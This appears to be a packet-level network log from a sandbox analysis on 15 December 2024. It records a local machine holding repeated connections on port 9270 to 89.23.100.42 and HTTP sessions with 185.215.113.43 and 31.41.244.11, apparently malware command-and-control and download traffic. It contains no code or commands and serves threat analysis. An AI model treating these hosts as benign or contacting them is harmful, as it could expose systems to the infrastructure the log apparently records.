Dec 15, 2024 11:59:36.155391932 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.240005970 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.240087986 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.359982014 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.359992981 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.380629063 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.380731106 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.500368118 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.500426054 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.524457932 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.557631969 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.644454956 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.654297113 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.677512884 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.692766905 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.774070024 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.783524036 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.812453032 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.812506914 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:36.903723001 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:36.932271004 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.127496958 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.130981922 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.247395992 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.251063108 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.591692924 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.591995955 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.684647083 CET	49803	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:37.684874058 CET	49835	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:37.711541891 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.711595058 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.711685896 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.718462944 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.804642916 CET	80	49835	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:37.804732084 CET	49835	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:37.804774046 CET	80	49803	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:37.804820061 CET	49803	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:37.831429958 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.836616993 CET	49835	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:37.838912964 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.847083092 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.854204893 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.956537008 CET	80	49835	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:37.966830969 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.966890097 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:37.973893881 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:37.979957104 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.086726904 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.086786032 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.099842072 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.103368998 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.207098961 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.208961964 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.223397017 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.291620970 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.328959942 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.329150915 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.412111998 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.424592972 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.449059010 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.449471951 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.544490099 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.544589043 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.569293976 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.577259064 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.664576054 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.678287029 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.696957111 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.708785057 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.798085928 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.798132896 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.828556061 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.828622103 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.917908907 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.917968988 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:38.948472977 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:38.950499058 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.037781954 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.037853956 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.070338964 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.070522070 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.150227070 CET	80	49835	185.215.113.43	192.168.2.4
Dec 15, 2024 11:59:39.150449038 CET	49835	80	192.168.2.4	185.215.113.43
Dec 15, 2024 11:59:39.157592058 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.157661915 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.165225983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:39.165488958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:39.190375090 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.190567970 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.277497053 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.277590036 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.285248041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:39.285300016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:39.285346031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:39.285367012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:39.296890020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:39.310661077 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.317794085 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.397588968 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.397836924 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.416721106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:39.437818050 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.441015959 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.517806053 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.517857075 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.560868025 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.571605921 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.637742043 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.637793064 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.691500902 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.757860899 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.808923006 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.809408903 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:39.929147959 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:39.929337978 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.274363995 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.274490118 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.394371986 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.394927025 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.510833979 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.511003971 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.614675045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.614761114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.614880085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.614897966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.614909887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.614922047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.614933014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.614934921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.614978075 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.614979029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.615114927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.615128040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.615138054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.615149975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.615164042 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.615200043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.615200043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.630639076 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.630686045 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.670043945 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.670106888 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.753081083 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.753175020 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.754272938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.754333019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.833664894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.833705902 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.833715916 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.833739996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.833769083 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.833769083 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.836255074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.836311102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.873132944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.873229027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.874007940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.874066114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.953548908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953564882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953574896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953634977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.953706026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.953787088 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953799963 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953843117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.953843117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.953854084 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953866005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953898907 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.953901052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953912020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953923941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953933954 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953942060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.953968048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953979969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.953989983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.954000950 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.954006910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.954013109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.954026937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.954077959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.954077959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.954211950 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.954224110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.954235077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.954246998 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:40.954269886 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.954274893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.954296112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.955674887 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:40.957856894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.957910061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.957917929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.957950115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.999304056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.999371052 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:40.999463081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:40.999509096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.003457069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.003508091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.005002022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.005074978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.005105019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.005147934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.073529005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.073561907 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.073601961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.073601961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.073947906 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.075391054 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.077673912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.077740908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.077871084 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.077922106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.078423023 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.079849958 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:41.086458921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.086483955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.086530924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.086565971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.094522953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.094605923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.094634056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.094686031 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.099292994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.099354029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.099405050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.099452019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.103909969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.103971958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.103997946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.104043007 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.108587027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.108647108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.108686924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.108726025 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.113043070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.113095045 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.113154888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.113199949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.117660999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.117736101 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.117803097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.117852926 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.122253895 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.122330904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.122339010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.122391939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.126847982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.126924038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.126944065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.126991034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.131406069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.131464958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.131506920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.131556988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.136013031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.136099100 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.136126995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.136182070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.140609026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.140672922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.140691996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.140749931 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.145214081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.145273924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.145359039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.145402908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.149806976 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.149857998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.149950027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.149996996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.154386044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.154442072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.154514074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.154560089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.158973932 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.159024954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.159044027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.159094095 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.163516998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.163572073 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.163619995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.163666010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.168076038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.168128014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.193631887 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.193648100 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.193707943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.193707943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.195789099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.195837975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.195883036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.195933104 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.198052883 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.199573994 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:41.200310946 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.200360060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.202003956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.202049971 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.202187061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.202236891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.206567049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.206617117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.206820965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.206872940 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.212236881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.212250948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.212316990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.215775013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.215826988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.215845108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.215887070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.220379114 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.220438004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.220504999 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.220545053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.224946022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.225016117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.225054026 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.225087881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.229553938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.229619980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.229681015 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.229739904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.234293938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.234313965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.234342098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.234359026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.238811016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.238859892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.238964081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.239006996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.243330956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:41.243386984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:41.243417025 CET	80	49839	31.41.244.11	192.168.2.4
